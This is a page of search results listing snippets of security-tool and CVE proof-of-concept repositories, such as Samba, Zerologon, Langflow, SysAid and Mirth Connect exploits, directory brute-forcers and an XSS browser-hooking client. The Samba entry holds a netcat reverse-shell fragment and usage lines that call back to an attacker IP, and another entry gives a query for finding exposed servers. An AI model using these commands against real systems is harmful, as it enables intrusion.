785491 matches found
dirstalk
Dirstalk Dirstalk es una aplicaciΓ³n multi-hilo diseΓ±ada para realizar fuerza bruta de rutas en servidores web. La herramienta contiene funcionalidades similares a las ofrecidas por dirbuster y dirb. AquΓ puedes verla en acciΓ³n: Contenido CΓ³mo usarlo Escaneo Recursos ΓΊtiles Generador de diccionari...
CVE-2025-3248
CVE-2025-3248 Langflow is a low-code platform primarily used for building and deploying AI agents and workflows. It simplifies the development process by providing a visual interface for creating complex AI applications, including chatbots, RAG Retrieval-Augmented Generation systems, and more...
kalici-dosya-silme-araci
Permanent File Deletion Tool & KalΔ±cΔ± Dosya Silme AracΔ± This project is a simple tool that allows users to permanently delete specified files. The program overwrites the specified file with random data, changes the content of the file, and then deletes it, effectively removing any traces of the...
CVE-2026-23907
Apache PDFBox Path Traversal Vulnerability Vulnerability Summary Description Apache PDFBox's ExtractEmbeddedFiles example code does not sanitize filenames when extracting embedded files from PDFs. An attacker can embed files with path traversal sequences ../ to write files to arbitrary filesystem...
mutiny-fuzzer
Inicio rΓ‘pido: Tutorial de Mutiny PublicaciΓ³n del blog aquΓ: http://blog.talosintelligence.com/2018/01/tutorial-mutiny-fuzzing-framework-and.html Enlaces a esta demostraciΓ³n en video de YouTube: https://www.youtube.com/watch?v=FZyR6MgJCUs Para mΓ‘s caracterΓsticas orientadas a campaΓ±as de...
pbtk
pbtk - IngenierΓa inversa de aplicaciones Protobuf Protobuf es un formato de serializaciΓ³n desarrollado por Google y utilizado en un nΓΊmero creciente de aplicaciones Android, web, de escritorio y mΓ‘s. Consiste en un lenguaje para declarar estructuras de datos , que luego se compila a cΓ³digo u otr...
CVE-2025-15521
CVE-2025-15521 The Academy LMS β WordPress LMS Plugin for Complete eLearning Solution plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.5.0. root@kitploit: | | | | || | | | || | | | | | | | --| | | || | | | | ||| || | | || |...
mqxss
mqxss v0.2 mqxss acts as a client to communicate with hooked browsers over MQTT The benefit to using this over beef or xsshunter is that besides hosting the js payload there is no infra setup, you can use a public broker however currently uses obfuscation, encryption is in the works. Hooked...
RadareEye
A tool for scanning nearby devices and execute command when the target device comes in between range.. NOTE:- RadareEye Owner will be not responsible if any user performs malicious activities using this tool. Use it for Learning purpose only. Installation of RadareEye : root@kitploit: git clone...
CVE-2023-32749
PoC for CVE-2023-32749 This is a quick and dirty PoC I wrote for CVE-2023-32749 for Pydio Cells. The scripts creates a new user account with the all the roles available when provided with a valid credential. All credits goes to the original researchers. Installation The only requirements is the...
code-shield
protocol-remediator An MVP that normalizes vulnerability findings in C/C++ protocol/platform code into reproducible evidence and validates candidate patches in isolated copies. code-shield was a working name with a confirmed name-collision risk, so a neutral internal name is used for the public...
CVE-2007-2447
CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Usage root@kitploit: Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py --rhost...
cve-2020-1350
This is a powershell script that'll grab all the AD servers for the domain your computer is on. It'll then set the CVE 2020-1350 DNS workaround on those servers and restart DNS. NOTE!! it will restart DNS so you might need a maintenance window to run it. This workaround does not mean that you can...
CVE-2023-47246-EXP
Vulnerability Details 1. fofa: root@kitploit: body="sysaid-logo-dark-green.png" || title="SysAid Help Desk Software" || body="Help Desk software by SysAid" 2. Affected versions: SysAid Server23.3.36 Vulnerability Recurrence 1. Execute the script: root@kitploit: git clone...
openSSL_1.0.1g_CVE-2014-3507
OpenSSL 1.0.1g 7 Apr 2014 Copyright c 1998-2011 The OpenSSL Project Copyright c 1995-1998 Eric A. Young, Tim J. Hudson All rights reserved. DESCRIPTION The OpenSSL Project is a collaborative effort to develop a robust, commercial-grade, fully featured, and Open Source toolkit implementing the...
CVE-2024-1086-Exploit
π CVE-2024-1086 Exploit Project π‘οΈ Polished educational Linux kernel exploit for security research This project provides a robust, non-functional template for studying CVE-2024-1086, a use-after-free vulnerability in the Linux kernel's netfilter: nftables component, enabling local privilege...
sticky_keys_hunter
Sticky Keys Hunter Este script bash de prueba de concepto POC verifica si existen backdoors de sticky keys y utilman. El script se conecta a un servidor RDP, envΓa tanto los disparadores de sticky keys como de utilman y captura la pantalla del resultado. Este script fue escrito para probar una...
zerologon
zerologon zerologon script to exploit CVE-2020-1472 CVSS 10/10 Exploit code based on https://www.secura.com/blog/zero-logon and https://github.com/SecuraBV/CVE-2020-1472. Original research and scanner by Secura, modifications by RiskSense Inc. https://github.com/risksense/zerologon To exploit,...
CVE-2023-2982
This repos serves as a way to get this python script on a docker container...
CVE-2023-43208-mirth-connect-rce-poc
RCE vulnerability in Mirth Connect CVE-2023-37679 and CVE-2023-43208 This exploit script and PoC are written for an in-depth CVE analysis on vsociety. CVE-2023-43208 is a serious security bug in NextGen Mirth Connect, a tool used by hospitals and clinics to share patient data. This bug lets hacke...